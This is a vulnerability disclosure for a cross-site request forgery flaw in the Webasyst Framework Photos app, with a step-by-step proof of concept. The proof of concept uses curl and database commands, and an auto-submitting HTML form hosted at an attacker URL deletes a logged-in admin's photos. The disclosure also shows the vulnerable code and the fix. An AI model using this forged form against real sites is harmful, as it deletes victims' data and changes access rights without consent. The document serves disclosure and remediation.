A GitHub repository version of this disclosure can be read here: CVE-2026-116210.
| Detail | Information |
|---|---|
| CVE Record | CVE-2026-116210 |
| Severity | 7.1 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N) 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) |
| Date Published | 2026-10-26 |
| Software Name | Webasyst Framework |
| Affected Version(s) | 0 through 4.4.0 |
| Software Link | https://github.com/webasyst/webasyst-framework |
| Vendor | Webasyst |
| Researcher Credits | Aaron Amran Bin Amiruddin (@aaronamran) |
Description
Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.
Prerequisites
admin / admin123.id=2 exists in photos_photo (inserted via direct DB write to set up test state)Proof-of-Concept
1. Insert a test photo directly into the database to establish a known target.
docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "
INSERT INTO photos_photo (name, ext, contact_id, status, upload_datetime, width, height, size, hash, url, source)
VALUES ('csrf_test', 'png', 1, 1, NOW(), 100, 100, 1024, 'xyz789', 'csrf_test_2', 'backend');
"
2. Confirm the photo exists.
docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "SELECT id, name FROM photos_photo WHERE id=2;"
# Expected Output:
id name
2 csrf_test
3. Log in as admin to obtain a session cookie.
rm -f cookies.txt
curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1:8080/webasyst/" \
-d "login=admin&password=admin123&remember=1" >/dev/null
4. Send a forged POST to the delete endpoint with no CSRF token to simulate what happens when the victim's browser submits the attacker's form.
curl -s -b cookies.txt -c cookies.txt \
"http://127.0.0.1:8080/webasyst/photos/?module=photo&action=delete" \
-d "photo_id[]=2" \
-w "\nDelete: %{http_code}\n"
# Expected Output:
{"status":"ok","data":{"denied_photo_id":[],"denied_all":false}}
Delete: 200
5. Confirm the photo was deleted.
docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "SELECT * FROM photos_photo WHERE id=2;"
# Expected Output: (empty -> photo is gone)
6. The real-world attack requires only that the victim visits an attacker-controlled page while logged in. Host the following at any URL the victim will visit:
<!--attacker.com/csrf.html -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://TARGET/webasyst/photos/?module=photo&action=delete">
<input type="hidden" name="photo_id[]" value="2">
</form>
</body>
</html>
When the admin visits attacker.com/csrf.html while logged in, the photo is deleted automatically with no further interaction.
Vulnerable Code Section
csrf key is absent from the Photos app configuration. Compare with apps that do declare it (webasyst, team, blog, site, installer). Source: https://github.com/webasyst/webasyst-framework/blob/master/wa-apps/photos/lib/config/app.phpreturn array(
'name' => 'Photos',
'version' => '...',
// 'csrf' => true <-- missing
);
getInfo('csrf') returns null for Photos, the entire block is skipped for every POST. Source: https://github.com/webasyst/webasyst-framework/blob/master/wa-system/controller/waDispatch.class.phpif ($wa_app->getConfig()->getInfo('csrf') && waRequest::method() == 'post') {
if (waRequest::post('_csrf') != waRequest::cookie('_csrf')
&& waRequest::server('HTTP_X_CSRF_TOKEN') != waRequest::cookie('_csrf')) {
throw new waException($csrf_exception_message, 403);
}
}
public function execute()
{
$photo_id = waRequest::post('photo_id', null, waRequest::TYPE_ARRAY_INT);
// deletes photos — no CSRF token ever checked
}
Recommended Fix
'csrf' => true to the Photos app configuration.// wa-apps/photos/lib/config/app.php
return array(
'name' => 'Photos',
'csrf' => true, // add this line
// ...
);
This causes waDispatch to validate the _csrf POST field or X-CSRF-Token header against the _csrf cookie on every POST request to the Photos app, consistent with how other apps in the framework handle CSRF.
Timeline
See you in the next hack.
@aaronamran
October 2026